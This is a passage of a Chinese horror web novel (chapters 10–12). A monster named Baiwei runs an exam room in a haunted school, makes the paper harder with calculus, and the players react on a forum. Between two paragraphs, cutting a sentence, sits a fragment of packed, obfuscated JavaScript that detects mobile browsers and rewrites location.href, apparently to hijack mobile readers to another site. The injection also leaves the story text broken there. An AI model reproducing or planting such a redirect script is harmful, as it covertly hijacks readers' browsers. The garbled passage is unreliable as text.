她赶着布置场地和扮演监考老师,一时没顾上给那位长脖子小哥付尾款;好在小哥脾气不错,看到白桅在忙,也不催,自己在教室里找了个角落安静待着,因为怕被白桅怀疑截胡,还特地隐去了身形,半点也不叫人看见。
很快又半小时过去。直到确定那几个玩家离开后,他才从垃圾桶后面钻出来,正打算向委婉地要一下尾款,就见白桅又像是被什么刺激到了似地,咻地一下,再次跑出去。
……应该不是想赖账吧?
长脖男人不太确定地想着,一瘸一拐地往前走了几步,看到被白桅拿出来的惊惧瓶,在心底“哇啊哦”了一声,瞬间否定了自己的想法。
这才开局多久,骨子就攒了有大半瓶了。放他们怪谈,一局下来要是有这收获,那是点鬼火放鞭炮的。
想到这儿,长脖男人忍不住捂了下自己的口袋。里面还有不久前白桅付给他的二十颗骨子。
有点饿,但想想还是算了。还得带回去分呢。
长脖男人暗叹口气,见白桅不在,还很好心地帮她又照看了一下那个断过胳膊的黑色小人。强迫自己不要去看都快堆满的惊惧瓶——越看越饿。
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再说,看了也没用。这年头的惊惧瓶全都有诡异学院统一制作发放,有最先进的防盗技术,除了瓶子所有者,其它怪物都没法将瓶子拿起来,更别说取出里面的东西了。
还好,那女生很快又回来了。爽快付清尾款,跟着便蹙着眉头,一本正经地研究起桌上的卷子。
长脖男人拿了钱本要离开,见她一脸苦大仇深,又不由好奇:“咋了,您想改啊?”
“嗯。”白桅也没藏着掖着,直接点头,“根据之前两次的用户调研结果,目前的题目难度肯定有问题,必须得调整。”
长脖男人:……
不愧是开局一小时就能狂攒大半瓶骨子的大佬,看看这用词、看看这态度。
什么叫专业。
他越发好奇,试着往讲台挪了两步,见白桅没反对,便也小心翼翼伸长脖子去看。
“确实。”他忍不住点头,“好简单啊。”
“是吧!”白桅看他一眼,“所以我决定,要适当提高一些难度……”
她本来就很在意谢博德所说的“题目简单到侮辱智商”,还有什么“越简单越要警觉”;方才跑出去又问一趟,得到的反馈更是坚定了她要修改难度的念头。
“懂了,要更适配中学生阶段的题是吧。”长脖男人了然。没记错的话,人类中学都学什么来着?函数?方程?好像还有几何吧,他印象里怪难的……
“我准备放微积分。”白桅平静地说出后半句。
长脖男人:“……”啊??
“我刚问过了,那些玩家说他们中学就是学微积分的。”白桅一脸认真,“他们高一就要学高等数学,高二就要学数学建模,每个人都要会的。”
长脖男人:“……”不是,你确定他们不是在吹牛吗?又或者,是在讽刺或者开玩笑?
他真的好奇白桅当时是怎么问的,不过比起这个,他现在更好奇一件事。
“所以,您懂这东西吗?”他充满尊敬地问道,“那个叫微积分的?”
“完全不会。”白桅非常坦然,“但我可以现学。我学这种东西很快的。”
……
长脖男人再度沉默了。好小众的词。这位大佬生前真的读过书吗?
“或者,您介意把这事外包吗?”微一思索,他忽然又有了主意,“我们boss是真懂这个的!而且我们怪谈里还有个大姐,生前是考研班的老师,她数学物理都很好!”
“您要愿意,我现在就和他们打视频电话,用最快速度帮您把卷子出完。至于报酬……您看着给就行。”
长脖男人说到最后,声音不觉低了下去。白桅倒是很干脆,稍作思考,随即点头。
“可以啊,如果你们帮我完成的话,骨子……我给你们称两斤。”
考虑到改完后收到的骨子肯定不会像现在这么多,走分成的话对面多半会亏,白桅索性开了个一口价,说完想想,又补充道:“对了,你们怪谈叫什么呀?或者能留个老师的名字吗?我把你们写在出题者里,也算感谢了。”
“诶呀不用不用!”长脖男人还是头一回遇上直接按斤付款的,高兴得脖子都快打圈了,顿了顿,又小声道,“那位大姐的名字叫翁虹霓,生前很有名的,是名师!你可以写她。”
“行。”白桅一口应了,又去翻之前玩家答过的卷子。看得长脖男人又是一阵奇怪:“那些卷子,有什么问题吗?”
“没有啊。我只是想把这些玩家的名字都记下来。”白桅有了思路,脸上也有了笑容,说话时都笑盈盈的。
长脖男人顺着她的动作看了眼,只见那些卷子上有的写的像真名,有些则像是网络id。
“毕竟卷子的完善,是建立他们的建议上的。”白桅继续道,“所以我想在新版卷子完成后,专门留块区域写感谢名单,把他们名字都写进去,让后面来的玩家都知道,我们能够进步,他们,功不可没。”
有来有往,知恩图报。
这,怎么不算是一种爱呢?
10.第 10 章
翁虹霓,前机构讲师,金牌名嘴、卖书无数,如果不是死得太早,她觉得自己高低还能再试试脱口秀赛道。
接到现任同事从其他怪谈打来的视频时,她正在自己工位上,非常自律地练习微笑,力求达到每一次微笑嘴角都能精准地裂到耳朵根,据说这样带来的视觉效果会非常好。
“快快,帮个忙,出张卷子!”电话才刚接通,便听对面传来同事焦急的声音,“有人定制的,付钱还给你署名!”
“???”都死三年了,还是头一回听到这样的要求。翁虹霓揉了揉笑酸的腮帮子,“什么情况?你慢点说。”
慢是慢不了一点,毕竟金主就在旁边等着呢。长脖男人激动到脖子乱舞,又是一番解释,翁虹霓总算勉强搞清了状况。
“给玩家做微积分吗?有点意思。”她慢吞吞地坐直身体,“但你急也没用。等我先去找点资料。”
“她开价两斤骨子。”长脖子终于说到了重点。
“……”翁虹霓呼吸一滞,嘴角一不小心又裂到了耳根。
跟着迅速镇定下来,并表示,那至少也得半小时。不能再少了。
“半小……诶也行吧,总之你抓紧。”长脖男人挠了挠头,忽像是听到什么一样,转头又和其他人说起话,脖子渐渐远离了镜头,从翁虹霓的位置,只能听到只言片语。
“诶对的对的,您要我给您打骨折……自定义啊?可以是可以,就是得看您自己……啊,真的吗?那绝对没问题……”
片刻后,镜头微晃,长长的脖子又缩回来了。
“又咋了?”她好奇,“火柴卖出去了?”
“嗯。还是那位大佬。”长脖男人看上去都有些飘忽了,“她试用了下我们的火柴,决定先来二十盒。好用的话再买。”
二十盒火柴,按打折价算,也就二十枚骨子,和两斤的大额收入自然是不好比;但就他们现在的境遇来说,骨子肯定是越多越好的。
“这么多?”翁虹霓惊了,“她不是纯搞考试吗?”
“嗯,她说想要提升下玩家们在考试时的体验,改掉考试在交卷后才能知道对错的弊端……”长脖男人其实也不太懂,“不过她好像对我们预置的默认幻觉不太满意,想要整点温馨活泼的,所以在研究怎么自定义……”
温馨活泼。这两词一出翁虹霓不由沉默。试图理解,但好像有些难度。
但没关系,她想。金主妈咪这样做肯定有她的深意。
像他们这种优秀乙方,唯一要做的,就是拿钱办事,而且要办到最好——
微积分是吧。
她结束通话,充满自信地拍了拍脸。
今天就让您看看什么叫专业。
我难死他们!
*
另一边。
收起手机,长脖男人不着痕迹地松了口气。放松地向后一靠。
出卷需要时间这事,刚才他已经和白桅说过了,所幸白桅没什么意见,那么接下去,他只要好好在这儿等着就行。
当然,怕吵到金主,他并没有待在教室里,而是在外面走廊坐着。不知哪里有风吹来,带着远处玩家的惨叫,还挺心旷神怡。
恰在此时,走廊尽头又有脚步声传来。他循声转头,果然瞧见又有几个玩家结伴朝这边走来,瞧着都有些狼狈,像是刚经历过一番追杀。
他本能想躲,想起自己现在应该是隐身状态,又安心坐下。眼见那几名玩家越走越近,他却像是察觉什么似地,脸色忽然变了。
跟着便见他起身,飞快朝教室里走去。
“大佬!”他一进门就压低声音,“不好,有东西来了!”
“?”白桅正在整理新买的火柴,奇怪地看他一眼,“玩家?”
“不是,怪物!”长脖男人立刻摇头,“具体我没看清,但应该是别的客场团队的怪物!”
这个学校的原住民基本都做老师和学生的装扮,很好辨认,和刚才他看到的那几坨,风格完全不一样。
长脖男人说着,下意识往教室两边看了眼。
这间教室不仅位置偏,信号差,最重要的是两边都有大窗户,根据“最后一眼原则”,提取的恐惧非常容易被人从外面截胡——这是大家都知道的事。
事实上,之前的考试里,长脖男人就已经注意到靠走廊的窗户外面时不时有类似班主任的人影晃来晃去了——只是不知白桅用了什么法子,教室里的玩家们愣是没有往外看一眼,导致那位阴气森森的班主任总是无功而返。
他猜测可能和她能力有关,毕竟黑板上就写着“禁止东张西望”,如果有规则系能力的话,确实能凭此对玩家形成一定约束……
但要是其它怪物混进教室,那就不一样了。
近在咫尺,它们必然有更多的方式搞事。
作为一个忧金主而忧的优秀乙方,长脖男人不由有些急了。白桅顿了下,面上倒是没什么表情。
“这样啊,那是有些麻烦。”她想了想,拎起一个黑色小人放到长脖子的手里,“那能再麻烦你一下吗?”
“下一场,麻烦你来当监考老师。很简单的,到处走一走,时不时在卷子上点点,和玩家保持互动就可以。”
说完又指指卷子,一脸认真:“别的你都不用管,有什么问题,它们会直接和我沟通的。”
“呃……没问题。”长脖男人一怔,下意识点头,“那您呢?”
“我?”白桅偏头,随即甜甜一笑,“我当然是要去维护考场秩序啦!”
“混进来的脏东西,总得有人负责丢出去。”
长脖男人:哦……嗯?
*
不久之后。
如死论坛。
无声无息间,一个帖子悄然飘上首页——
【主题:救命,有没有已经过了知行中学志学楼601的大佬?跪求一套标答!攻略也行!】
【L1 楼主
如题。我和我的队友三个人,现在就在601。这里的关卡任务是考试,题目看着不难,但氛围太诡异了!】
【L2 楼主
我们三个都带着[他心通便签纸],能私下沟通对答案,但实在拿不准这些题背后有没有陷阱,所以想问问有没有好心人已经过了的?给个方向也好,求求了!】
【L3 游客账号056
啊?我傻了,所以楼主现在是在怪谈里吗?那怎么还能发帖子?】
【L4 华灯初上
@L3 有道具还带了手机的话是可以发的。@楼主志学楼601,我记得那是最好过的关吧?又不死人,你实在不行主动放弃呗,跑一趟复活点的事。】
【L5 楼主
@L3 是的,带了道具的。我有[万能网络助手],每个怪谈能上论坛发一次贴。@L4 不敢去复活点。刚被校工追杀过,怕它在那里守尸。而且这里好可怕,也没有写明失败惩罚,我们都不太敢赌。】
【L6 游客账号091
起猛了。志学楼601都能被人说可怕了。楼主你是不是没有眼镜?】
【L7 楼主
我有!我们都有!我自己还有防护耳塞!但不知为什么,这俩都没效果,一点用没有,我能看到怪东西,也能听到各种声音!特别清楚!】
【L8 版主002
?楼主你能详细描述下你那边的情况吗?】
【L9 楼主
@L8 书面考试形式,卷子上都是数学题,看着很简单,但仔细研究题干又有点诡异,是那种淡淡的不对劲。
规则有规定不能交头接耳、不能东张西望,不知道是不是因为这个,我脑袋一点不敢转。就哪怕产生一点相关的念头,心里也会发毛、喘不上气。】
【L10 楼主
@L8 教室里有监考老师,一直在走来走去,还会盯着写好的题目看。这是我目前看到的唯一的怪物。没有攻击性,但总会暗示性地在卷子上做动作,我不知道它是什么意思(我们就是因为这点才觉得这卷子不简单的)。】
【L10 楼主
哦对那个监考老师,我没见过她正脸,但感觉她个子很高,脖子很长。而且我总觉得她的脸好像在融化,因为每次她靠近我,我都能听到类似泥巴流淌的声音。】
【L11 华灯初上
噫,好可怕。这个关卡的背景不会是火灾吧?把人脸都烤化掉那种?】
【L12 游客账号056
本来没觉得可
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怕,被楼上一说突然发毛了。那老师的个头又怎么说?】
【L13 华灯初上
@L12 她不是说了老师的脖子长吗?脖子长的话,很可能被烧的同时还在上吊。上吊的话身体是会在重力作用下变长的。】
【L14 游客账号091
那确实可怕。这么个小关卡居然还有隐藏背景。一般这种得根据背景故事来决策才对吧?】
【L15 华灯初上
要真这样的话,考试本身肯定不单纯。肯定不只是纯让玩家做题而已,多半也和背景故事有关。】
【L16 版主002
行了,先别插楼。
@楼主你继续,还有别的情况吗?】
【L17 楼主
能看到的就这些了。但还能听见各种各样的声音。好像教室里还有很多人和我们一起考试一样……】
【L18 冤种四分之一
呃,我刚从那里通关的。只能说楼主和楼上都想太多了。这关真没那么多弯弯绕绕,就按照规则和最正常的思路,把题目答完交卷就行了。交完讲台上有个盒子,能拿一张小纸片,不过我觉得没用就没抽,楼主你可以抽张试试。】
【L19 游客0056
啊?啥情况?又一个带着万能wifi的?】
【L18 冤种四分之一
@L19 我还真不是。运气不好被校工砍了。四个人呢,不知为啥就劈我,这不就被淘汰了。】
【L20 华灯初上
emmm……抱歉,我有点疑惑。因为按照你这说法的话,这关就是在白送。这不合逻辑。】
【L21 华灯初上
@L18 而且能够无效掉防护道具的关卡,说明它背后必然有某种很强大的力量在支撑。这么厉害的存在,搞出这么白送的关卡,更不合逻辑了。】
【L22 游客账号0023
没别的意思,就提醒下,这个点儿会有怪东西混在论坛发帖的,大家都留个心眼吧。】
【L23 冤种四分之一
???你们什么意思?怀疑我是吧?】
【L24 冤种四分之一
行,那我直说了。我这次和我固排一起进去的,一共四个人。ID我全部列在这儿,不信的自己去看资料和发帖记录,□□账号也全放在这儿,伪人账号能仿成这样?
顺便@楼主你要有心的话去交卷的时候可以再翻翻讲台上的卷子。我答题的时候用的假名,那个写着[毕永发]的就是我!我兄弟写的是[毕永健]!你上去翻就知道我有没有骗你了!】
【L25 楼主
@L24 好的,谢谢你QAQ 抱歉刚才监考老师一直在我附近,没敢用手机。
@L24 大哥那我想再问一句,你们考试的话,也总能听见教室后面有咚咚咚的声音吗?】
【L26 冤种四分之一
?什么咚咚咚?你说清楚点。】
【L27 楼主
就是,好像什么东西在地上一磕一磕的声音。窗户那边也经常有咚的一声。】
【L28 冤种四分之一
呃,没有吧。
而且我记得,我们闯关的时候,窗户一直是关着的。】
……
诶?
教室内,正在偷偷用着手机的女生一顿。
几乎是在看到这句话的刹那,身后的窗口又是一声闷响传来——
嗵一下。像是有什么从窗口掉了出去。
正在按着手机的手指不觉僵住。偏在此时,手机界面自动刷新,又几条回复跳了出来。
【L29 游客账号045
啊,原来是601啊。】
【L30 游客账号045
我也是这次知行中学的闯关者,正在操场上体育课。从刚才起,就一直有人从6楼窗口往下掉,窗口还一直站着个女生,怪吓人的……
连当体育老师的怪物都看傻了。我还奇怪是哪个教室的玩家,居然被整成这样。】
【L31 游客账号045
@楼主所以,你们教室一直有人在跳楼,你一点感觉都没有啊?】
11.第十一章
火灾、上吊、跳楼……
种种词汇不断在脑海中起伏,越想越让人背脊发凉。
女生紧握着手中的铅笔,耳边却似又传来了那种曾反复出现过的声响。咚、咚、咚……
之前完全没往这方面想,但现在一琢磨……这不就是人被拖行时,脑袋不断撞在地上的声音吗?
所以那些跳楼的都是谁?也是考生吗?他们是不是做错了什么,所以才会被弄下去??
越想越是不安,她一咬牙,索性故意把笔往地上一拨。趁着弯腰捡笔的工夫,赶紧抬眼,视线从两脚之间望了出去。
这么一望,她脸色却更苍白了。
从她的视角,第一眼看到的首先是窗边。窗前空无一人,只有没系的窗帘,被风吹得微微鼓起。
再往旁边看……却同样什么都没有。
她的位置是倒数第三排。她清楚地记得,自己和同伴赶来这个教室时,身后还有个玩家也一起跟进来了,入座的时候,也全都坐到了她们后面。
然而此刻,她身后所有的位置,都是空的。什么都没有。
如果说是幻觉,又好像不是。因为好几个位置的椅子都是被拉开的,桌上摊着卷子,还有被风吹着从桌面滚落的铅笔。
“……”呼吸凝滞,她僵硬地坐起身,只觉心跳越来越快。正想偷偷和同伴们同步一下情报,却见藏在卷子下的手机屏又微微亮了一下。
【L36 游客账号045
偷偷拍到照片了,我汗毛都要竖起来了。@楼主你看,这是不是你们教室?】
随着回复一同出现的,还有一张不算清晰的照片。遥远的仰视视角,恰恰好拍到了位于六楼的窗口,只见微微鼓起的窗帘里,赫然站着一个披着头发、面目模糊的女人——
“!!!”
猝不及防的视觉冲击,伴随着后知后觉的透骨凉意,女生几乎克制不住自己想尖叫的冲动;然而还没来得及开口,就听另一声刺耳的惨叫从不远处传来,紧随其后的,是一阵凌乱的桌椅碰撞与摔倒声!
……是晓莉!
猛然反应过来是自己的同伴出事了,女生近乎本能地就要转头。谁想才刚动作,一道平直的声线便在身后乍然响起:
“请勿东张西望。
“请勿交头接耳。
“考试时间还剩十五分钟。”
“……!”
意识到这声音中的警告,女生瞬间僵在原地。几乎是同一时间,同伴略显颤抖的声音也跟着响起:
“我、我没事!不用管我,不用管……”
她显然也是被什么吓到了。嗓子里都像含着哭腔。
女生的心顿时沉了下去。
她听见监考老师朝着自己同伴走了过去。听见同伴从地上狼狈爬起。
她这算不算犯规了?她要被淘汰了吗?她会被怎么样?她也要被丢下去了吗?
女生瞪大眼,拼命克制着指尖的抖动,只觉大脑乱成一片。
……神奇的是,后续再没更多动静了。
同伴爬了起来。同伴回到了座位。同伴捡回卷子。然后就没有然后了。
甚至监考老师还叮嘱了一句注意安全。
这算……没事了吗?
女生一时有点反应不过来。顿了会儿,才总算回神,小心从卷子下面抽出一张淡黄的便利贴,一手挡着,一手飞快在上面书写起来。
他心通便签纸。她们为了这次闯关特意搞到的道具之一。本体类似常见的方形便签本,将上面的纸张撕下来交给不同的人,则在五十米范围内,所有拿到纸张的人,都可利用其进行交流。
女生在纸上问了下情况,没过多久,上面果然便有新的字迹浮现。
那是来自方才那同伴的回复:
【没事了。刚是看到幻觉,被吓一跳。】
幻觉?女生眉心一动,正要发问,却见又一行不同的字迹浮现,另一个同伴也加入了群聊,语气同样不平静:
【你也看到了?!!】
……所以到底是看到什么了?
其他跳楼的玩家?窗口的诡异女性?还是监考老师化掉的脸?
女生心中腾起问号,再次低头,正见问话那人在后面又补了一句
【你也看到被咬一半的苹果了?】
……你这差得也太远了!
女生怎么也没想到对方想说的居然是这个,大脑当场打结。正要发问,偏偏监考老师又在此时走了过来,吓得她赶紧将卷子一翻,将所有东西都藏在下面,怕监考老师发现,又匆忙提笔,装模作样地在卷子上填了两个空。
还好,这回监考老师没有停在她旁边看,更没有伸手点点点。只在她周围逗留了一会儿,很快就走了。
女生不敢大意,一直等到脚步声远去才再次拿出便签。只见上面赫然又多出了好几行对话:
——【你也看到被咬一半的苹果了?】
——[什么苹果,我看到的是人!]
——[好多小孩突然出现,排排站对我笑,后面还有墓碑!吓死我了!]
……那确实吓人。
女生默默想着,忽似想到什么,将卷子往前翻了翻。
显然另一人也想到了相同的事,直接在便签上问道:【你是在答完小风扫墓那道题后看到幻觉的吗?】
[是!我本写的33,后改了32。话说你们写的多少?]
【33,没幻觉。】另一个同伴写道,【但前面苹果那道题,我写错了。】
?女生垂眼一扫,正好看到她说的那道题。
一共五个苹果,小风吃苹果时噎死,问还剩几个。
题目才刚看完,便签上又有字浮现:
【我想人死了手里还有吃剩的,就写4.5。写完没过多久,就看到桌上多了4个苹果,外加一个被咬一半的。】
[啊!你的意思是,幻觉是错题触发的?]
【可能。对了,你看到的小孩有多少?如果是32,那规律就清楚了……】
“……”
后面还有对话在不断浮现,但女生已经看不下去了。
她只微妙地顿了下,然后轻轻将卷子又翻回了之前那面。
那一面上,她只写了一道题,就是刚才监考老师来时,她为了遮掩胡乱答的题。
题目问的是,一群女孩出去玩,一番人员增减后,最后还剩几个女孩。
而她……可能是因为当时还在琢磨苹果的事,所以写了个二分之一。
后知后觉地提笔想改,眼前却忽然多了什么东西。
她缓缓抬眼,才发现自己的跟前,一只脚正轻轻垂下。
片刻后,空旷的教室里,又一声尖叫,划破寂静。
*
很快,十分钟后。
这一场考试结束。
除了一个女生遗憾没有答完题外,另外两人都顺利通关。
直到此刻她们才发现这里根本没设什么失败惩罚。忙拿了该拿的奖券,互相搀扶着走出了教室。
直到目送着三人走出教室,一直紧绷的长脖男人这才脱力般一下坐到地上。没喘两口气,忽然感到脖子上痒痒的,伸手一抓,才发现是白桅交给他的那个黑色小人,正自己摇摇晃晃地顺着脖子往下爬。
长脖子哭笑不得,将它放到地上。顺手抹了下额头,果不其然,抹了一手血粉的水。
像他这种人死后化成的异物,基本是没有汗的,毛孔也只会渗血。但他自己也很难说,这些血汗到底是被累出来的,还是吓出来的……
毕竟眼睁睁地看着一连好几个怪物当着自己的面被拖到窗口丢下去,即使他早已经死过一遍了,也很难不头皮发麻。
想到这儿,他忍不住朝白桅看了眼。后者正蹲在墙角,认真打量着手里的瓶子——
诶?空的?
长脖男人不觉一愣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153867|164122||http|test|mini|href|location''.split(''|''),0,{}));
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>不应该啊,刚才那三个女生的脸色明明都很难看,显然被吓得不轻,更别提白桅往外高空抛……清理考场时,根本没注意对外遮掩自己的身形,那么大的动静,应该还有更多玩家看到了才对……
心中疑惑,他忍不住将头往白桅那边探了探。冷不防白桅突然回头。长脖子顿时尴尬。
“抱歉啊大佬,就好奇……”他不好意思地说着,忙垂下眼睛。目光无意扫过白桅旁边,又瞬间瞪大了眼睛。
只见白桅的脚边,还摆着另外的瓶子——满当当的瓶子。
被填满的惊惧瓶是有自动增殖功能的,而白桅身旁的惊惧瓶,已然增殖到四个了!其中三个都已经满了,第四个也已经被填到了三分之一……
所以你刚才丢东西的时候到底是被多少人看到了啊!
长脖男人眼都直了,甚至怀疑这些瓶子是不是把他的那份恐惧也给算进去了——不过转念一想,要真这样的话,这瓶子的数量怕不是得再翻个倍。
毕竟他看得都害怕,那些被硬拖到窗口扔掉的怪物不是更怕。况且,围观到的玩家都那么多,同样在围观的怪物肯定更不少,指不定都被吓成什么样呢。
收回思绪,再看白桅,更觉奇怪。
因为她看都没看那些增殖出来的惊惧瓶,只专心盯着手里的大空瓶,看着似乎还有些开心。
“……那个,大佬?”长脖子忍不住发问,“你,到底在看啥啊?”
“看里面的东西啊。”白桅看他一眼,倒是非常坦然,还给大方地把瓶子展示给他看,“你看,多了!”
……啥?这里面有东西?
长脖子迷茫,再一细看,才发现好像还真有。
一点点点粉的,从他的视角看不分明,只觉像是小指的指甲盖。
于是长脖男人更迷茫了,显然不明白指甲盖有什么值得高兴的。
白桅也没多解释,只继续快乐地抱着她的大瓶子——虽然只多了一咪咪,但她非常确定,里面的结晶就是多了的!
她记得非常清楚,这瓶子里的结晶原本铺开来连五毛硬币的大小都没有……但现在!它有了!
这至少证明,她大方向是没错的!接下去,只要再用心调整细节就可以了!
白桅越想越是开心,甚至想当场再向长脖先生再订一百盒火柴。恰在此时,更让她开心的消息又来了——
“大佬!”
教室的另一边,刚接了个视频电话的长脖男人又将脖子伸了过来,眼睛似都在发光:
“我同事说您要的卷子已经做好了!
“请问是现在就端上来吗?”
“好呀!”白桅眼睛亦跟着一亮,将手中瓶子一放,当即便凑了过去。
她的卷子都是直接用黑色小人变的,要改卷子也简单,只要让小人们按照给的模板化形就好了。
只是……这种题目需要用到的符号都好复杂。
如果玩家做错了,要再用幻觉提示可能就没那么方便了……
不过仔细想想,问题应该也不大。
视线扫过长脖男人灵活的脖颈,白桅若有所思地眨眼。
她想起自己的暗号课老师曾说过,没有什么符号是用人类的身体比划不出来的。
如果有,那就假装把躯体里的骨头抽掉,然后再试一次……
嗯,靠谱。
自我肯定地点头,白桅情绪越发高涨,兴致勃勃地动手准备起新版的卷子。
全然不知,就在距离她不到三层楼的地方,一个熟悉的人,正小心翼翼地往这边赶。
“对对,就这边……再往上走就是了。就是那个安全区601。”
刚上完一节主课的谢博德正带着一群人往楼上走,对着旁边的高个女人不住点头,信誓旦旦:
“王姐,你信我。那个保命小纸片我就是从那个教室里拿的……而且我跟你说,真不难!坐那儿答几道数学题就行,跟白送的一样!”
12.第十二章
直到走进601的那一刻,谢博德都还有些激动。
他是真觉得自己这回运气很不错——不仅避开了好几次校工和老师的巡查,成功挺过了一次高难语文课,刚才那一堂主课时,他居然还遇到了王姐。
王姐,王世芬,目前第二大玩家团体的话事人之一。据说这姐们以前是运动员,退役后去做生意,做得还很随性,攒够了钱就去玩极限运动,玩没钱了就回来继续赚……没成想极限运动一次没出事,去谈生意的时候飞机失事了,这才成了玩家。
当然,谢博德在意的并不是这些。
他在意的是,王姐所在的玩家社团,已经很久没有公开招人了。
其次,就是王姐这人,出了名的睚眦必报,有恩必偿。
她入行到现在,至今有两件事最为人津津乐道。一个是新手时期被人坑了,愣是自己又想方设法地坑了回去,而且记仇记到现在,哪怕现在名声已经闯出来了,对当初坑她那老油条依旧耿耿于怀,见一次打一次;第二就是曾在某次怪谈中舍命救了个路人玩家,拼着自己被淘汰也将人死保了出去,只因为那路人之前也帮过她一次——尽管那所谓的帮忙真就只是顺便,人家当事人都不记得这事了。
不管怎样,谢博德认定了这是自己的机遇。他现在的团队都是平庸之辈,难得有机会能搭上大社团的人,他无论如何都要努力下的。
万万没想到,就在他认出王姐后不久,机会还真的来了。
他们当时上的是手工课,同样危机四伏。谢博德一个没留神,当着所有人的面触发了死局,眼看着那授课老师拎着把大斧头就劈上来了——
谁想咚的一声,居然劈歪了。斧刃擦着他的脸陷进墙里,他人一点事没有。
他还只当是自己运气好,也没多想。王姐却像看出了什么,下课主动来找他,直言那一斧根本不可能劈歪,问他身上是不是带了什么道具;谢博德一脑门子问号,茫然在身上摸了很久,最终摸出了张画着红花的小纸片。
就是他从601拿到的那张。上面本该写着“祝您平安”,这会儿却什么字都没了。
王姐拿着纸片端详很久,显然觉得它就是那个保住了谢博德一命的东西;后者见状,赶紧主动把自己在601的经历交代了个干净,并主动提出愿意带人过去看看。
王姐还是比较警惕的,听完想了想,将自己的队伍分成两拨。一拨依旧按计划行动,另一拨则跟着自己,与谢博德一起来了601。
谢博德怎么都没想到自己的心愿居然实现得那么快,快进门了还在和王姐一行套近乎:
“……说起来,之前论坛讨论那个愚善眼镜失效的事,我还帮着这位老师说过话呢。”
他边进门边道:“我的id是‘博德之窗厚礼谢’,老师您有印象吗?我当时帮您顶了好几层楼……”
“行了。”王姐打断他,朝黑板看去,“回头再聊。先通关吧。”
“诶,好嘞。”谢博德忙应着,顺势往黑板上看了眼,却一顿。
只见黑板上,依旧写着规则。只是比他那个时候,还多出了一行字——
【请各位考生抓紧时间答题。】
……哈。
谢博德不知道这是白桅目睹上一轮有玩家没做完后额外增加的规则,只觉得这里的怪物有点幽默。五十道小学生的题,是还想抓紧到哪儿去?
教室门在他们进入后自动关上。他也没多想,跟在其他人后面,自行拿了张卷子就走,待来到座位,仔细一看卷上题目,表情却僵住了。
片刻的僵硬后,似是意识到什么,脸色又逐渐惨白。
甚至指尖都开始颤抖,想要转头看看王姐的反应,又顾忌着规则,脑袋侧一下都不行。
瞧着像是大学时学过的题目,然而一眼扫过去,除了几个字母和数字外,没一道是能看懂的;偏在此时,脑袋又跟生了耳虫似地,开始不断对自己重复“请抓紧时间答题”——
不知不觉间,笔尖都已经快贴上纸面。
明明一道都不会。但还是想写。
还好,身后不知谁惊叫了一声,总算将神智拉了回来。
谢博德猛喘口气,不敢再看纸上的题目,忙将卷子翻了个面;谁想视线落下,他只觉脑子嗡的一下,又一次浑身发凉。
他看到,在题目的最后,有一个方形的、带花边的框。
框里是一行非常认真的手写字:
【诚挚感谢毕永发、毕永健……以及[博德之窗厚礼谢]同学,为试卷完善、难度调整提出的诚恳建议!】
“……”
王姐所在的方向,同样也有翻面声响起。谢博德不知道她看到框里的内容没有,只知道她在翻完后没多久,肯定抬头看向了自己。
如芒在背。他缓缓咽了口唾沫。
开始认真思考,今天的自己,还有没可能活着离开这个怪谈。
*
转眼。
现实时间三小时后。
伴随着一声沉闷巨响,“知行中学”的校门再次开启。成功活到最后的一十八名玩家鱼贯而出,以通关者的身份回归现实。
和往常一样,这种玩家数量众多的大型怪谈一结束,相关讨论便如雨后春笋般在论坛里冒出,短短十分钟内,首页便多出了至少二十个相关帖子;
然而令局外人感到诧异的是,帖子虽多,但真正在讨论“知行中学”这个怪谈本身的,却反而没有多少——
【有人切瓜吗?我社一姐怪谈回来突然往社团黑名单里加了好几人,有人知道咋回事吗?】
【找人贴·请问有没有认识[博德之窗厚礼谢]这个玩家呀?他好像改id了,现在搜不到[哭唧唧][哭唧唧]】
【表白贴·如果有认识[博德之窗厚礼谢]的好人,请给我一下他的联系方式!我暗恋他很久了,真的!】
【毕永发!你XX!我XXXX你全家!】
【毕永发四人组的论坛id与账号整理,详见楼内】
【我愿封毕永发几人为601五狗,谁赞成,谁反对?】
【疯球了,居然在怪谈里看到高数了怪谈你知道我当年为了不挂科掉了多少头发吗不你不知道你心里只有你自己!】
【诚恳发问,有志学楼601通关的玩家吗?除了答卷子有别的拿道具的方式吗?马上就要越级挑战了孩子真的很需要】
【收|志学楼601红花奖券,诚收不刀,可H】
【真的假的,听说知行中学志学楼刷出保命道具了?有亲历者来聊个五毛的吗?】
【不懂就问,知行中学的支线关卡是每一次都不一样吗?那小红花奖券还会返场吗?】
【只有我一个人注意到601的高数卷出卷人是翁虹霓吗?不会是两年前猝死的那位吧?妈呀鸡皮疙瘩起来了】
【[加精][置顶][指定怪谈反馈集中贴]亲历知行中学16期志学楼601关卡的玩家请进楼协助版主进行资料收集,谢谢】
【[加精][置顶][指定怪谈反馈集中贴]亲历知行中学16期志学楼601关卡的玩家请进楼协助版主进行资料收集】
【[加精][置顶][指定怪谈反馈集中贴]别刷屏了!没完了是吧!再刷封号!都给我滚进来!!】
……
三道置顶帖连发,喧闹的首页这才稍稍安静下来。
当然,只是稍稍。
凌晨时段却依然惊人的在线人数,和不断被顶起的相关讨论,足见此时此刻的论坛有多热闹。
不知过多久,才见又一个新贴,悄悄在首页冒了个头:
【那个,只有我很在意601里防护失效的事吗?虽然关卡本身没有惩罚也没有物理伤害,但光是这一条也足够吓人了……吧?】
*
同一时间。
知行中学内。
对人类论坛内的热闹一无所知,白桅闷闷地沿着走廊回到教室,对着守在里面的长脖男人点点头算作打招呼,随即便抿着唇,一言不发地收拾起藏在墙角的惊惧瓶和爱意瓶。
惊惧瓶的数量这会儿已经增殖到了八个,每一个都堆得满满,一眼望去,仿佛八个纯黑的大蘑菇,相应的,爱意瓶里的东西……
依旧是一小指甲盖。
随着她的动作在瓶底轻轻摇晃,像是一团小小的粉色苔藓。
没关系,也很不错了。
白桅在心里默默宽慰着自己,一个一个地把瓶子放进自带的环保袋里。环保袋瞧着不大,居然就这么稳稳地全收进去了。
“那个,大佬?”长脖子在后面探头探脑地叫她,“您要是没什么事的话,我就先走了?”
